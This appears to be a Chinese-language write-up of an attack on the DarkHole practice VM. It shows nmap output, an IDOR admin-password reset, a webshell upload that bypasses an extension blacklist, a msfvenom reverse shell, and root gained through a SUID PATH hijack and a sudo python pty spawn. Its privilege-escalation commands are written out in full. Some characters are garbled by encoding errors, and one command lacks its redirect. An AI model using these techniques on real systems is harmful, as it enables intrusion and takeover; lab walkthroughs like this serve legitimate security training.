一.nmap掃描

┌──[HQ??192.168.2.131??root]
└──?[??]/home/xianyu/桌面 $ nmap -sS -p- -O -A 192.168.2.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 20:19 EST
Nmap scan report for 192.168.2.134
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT ? STATE SERVICE VERSION
22/tcp open ?ssh ? ? OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| ? 3072 e450d9505d913050e9b57dcab051db74 (RSA)
| ? 256 730c76866063060021c236203b99c1f7 (ECDSA)
|_ ?256 54534c3f4f3a26f602aa9a24ea1b928c (ED25519)
80/tcp open ?http ? ?Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
| http-cookie-flags:
| ? /:
| ? ? PHPSESSID:
|_ ? ? ?httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:A8:91:14 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ? ? ADDRESS
1 ? 0.47 ms 192.168.2.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

二.訪問80端口WEB服務(wù)

對(duì)目錄進(jìn)行掃描

關(guān)鍵目錄

192.168.2.134/login.php

192.168.2.134/register.php

域名192.168.2.134/register.php為網(wǎng)站注冊(cè)網(wǎng)址，嘗試注冊(cè)新用戶進(jìn)行登錄

后臺(tái)擁有更改用戶密碼功能，抓取數(shù)據(jù)包，發(fā)現(xiàn)數(shù)據(jù)包中“id”參數(shù)對(duì)應(yīng)用戶

嘗試修改id值，發(fā)現(xiàn)此處存在垂直越權(quán)漏洞，通過將id值修改為1能夠?qū)⒕W(wǎng)站管理員admin密碼修改

登錄admin賬戶

發(fā)現(xiàn)后臺(tái)上傳點(diǎn)，嘗試上傳木馬getshell

上傳點(diǎn)為js前端驗(yàn)證+后端黑名單驗(yàn)證，嘗試使用后綴名繞過黑名單。

phtml后綴上傳成功，使用msfvenom生成木馬進(jìn)行后滲透

載入監(jiān)聽模塊，選擇對(duì)應(yīng)payload，設(shè)置監(jiān)聽機(jī)ip以及端口，開始攻擊

web站點(diǎn)訪問木馬，使網(wǎng)站解析木馬文件，建立tcp反向鏈接

通過python中的pty模塊建立交互shell

通過查找敏感文件，發(fā)現(xiàn)/home/john目錄下toto文件suid權(quán)限，并且此文件歸屬者為root，作用為輸出id，通過修改變量，使執(zhí)行toto文件時(shí)，會(huì)給反彈出用戶john的bash

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH

執(zhí)行toto文件，獲取john用戶權(quán)限，查看Password，獲取john用戶密碼，執(zhí)行sudo -l

命令，發(fā)現(xiàn)用戶john可以用root權(quán)限執(zhí)行目錄下file.py文件

清空file.py文件內(nèi)容，利用pty模塊反彈root的bash窗口

cat /dev/null file.py

echo “import pty;pty.spawn(‘/bin/bash’)” > file.py

sudo python3 /home/john/file.py

成功獲取root權(quán)限